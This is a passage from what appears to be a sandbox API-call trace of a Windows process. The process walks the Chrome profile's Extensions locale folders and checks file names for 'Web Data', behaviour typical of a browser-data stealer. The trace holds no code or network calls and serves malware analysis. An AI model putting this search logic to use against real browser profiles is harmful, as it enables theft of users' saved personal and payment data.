Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.240] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca" [0056.240] LocalFree (hMem=0x2daca0) returned 0x0 [0056.240] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca") returned 131 [0056.240] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca") returned 131 [0056.240] lstrlenA (lpString="\\*.*") returned 4 [0056.240] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.240] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca" [0056.240] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca\\*.*" [0056.240] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.240] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.240] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.240] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.240] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.240] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.240] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.240] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.240] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.240] LocalFree (hMem=0x2daca0) returned 0x0 [0056.240] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.240] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.240] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.240] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.240] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.240] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.240] lstrlenA (lpString="\\") returned 1 [0056.240] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.240] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.240] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.240] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.241] lstrlenA (lpString="cs") returned 2 [0056.241] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.241] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.241] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs" [0056.241] LocalFree (hMem=0x2daca0) returned 0x0 [0056.241] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs") returned 131 [0056.241] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs") returned 131 [0056.241] lstrlenA (lpString="\\*.*") returned 4 [0056.241] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.241] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs" [0056.241] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs\\*.*" [0056.241] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.241] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.241] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.241] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.241] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.241] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.241] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.241] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.241] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.241] LocalFree (hMem=0x2daca0) returned 0x0 [0056.241] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.241] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.241] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.241] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.241] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.241] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.241] lstrlenA (lpString="\\") returned 1 [0056.241] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.241] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.241] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.241] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.241] lstrlenA (lpString="da") returned 2 [0056.241] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.241] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.241] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da" [0056.241] LocalFree (hMem=0x2daca0) returned 0x0 [0056.241] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da") returned 131 [0056.241] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da") returned 131 [0056.241] lstrlenA (lpString="\\*.*") returned 4 [0056.241] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.241] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da" [0056.241] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da\\*.*" [0056.241] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.242] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.242] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.242] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.242] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.242] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.242] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.242] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.242] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.242] LocalFree (hMem=0x2daca0) returned 0x0 [0056.242] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.242] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.242] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.242] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.242] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.242] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.242] lstrlenA (lpString="\\") returned 1 [0056.242] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.242] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.242] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.242] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.242] lstrlenA (lpString="de") returned 2 [0056.242] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.242] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.242] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de" [0056.242] LocalFree (hMem=0x2daca0) returned 0x0 [0056.242] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de") returned 131 [0056.242] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de") returned 131 [0056.242] lstrlenA (lpString="\\*.*") returned 4 [0056.242] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.242] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de" [0056.242] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de\\*.*" [0056.242] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.242] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.242] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.242] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.242] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.242] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.242] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.242] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.242] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.242] LocalFree (hMem=0x2daca0) returned 0x0 [0056.242] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.242] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.243] lstrcmpiA (lpString1=".", lpString2="el") returned -1 [0056.243] lstrcmpiA (lpString1="..", lpString2="el") returned -1 [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned 128 [0056.243] lstrlenA (lpString="\\") returned 1 [0056.243] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.243] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales" [0056.243] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned 129 [0056.243] lstrlenA (lpString="el") returned 2 [0056.243] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.243] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\" [0056.243] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\", lpString2="el" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el" [0056.243] LocalFree (hMem=0x2daca0) returned 0x0 [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el") returned 131 [0056.243] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\6.2_0\\_locales\\el") returned 131 [0056.243] lstrlenA (lpString="\\*.*") returned 4 [0056.243] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.243] lstrcpyA (in: lpString1=0x2daca0, 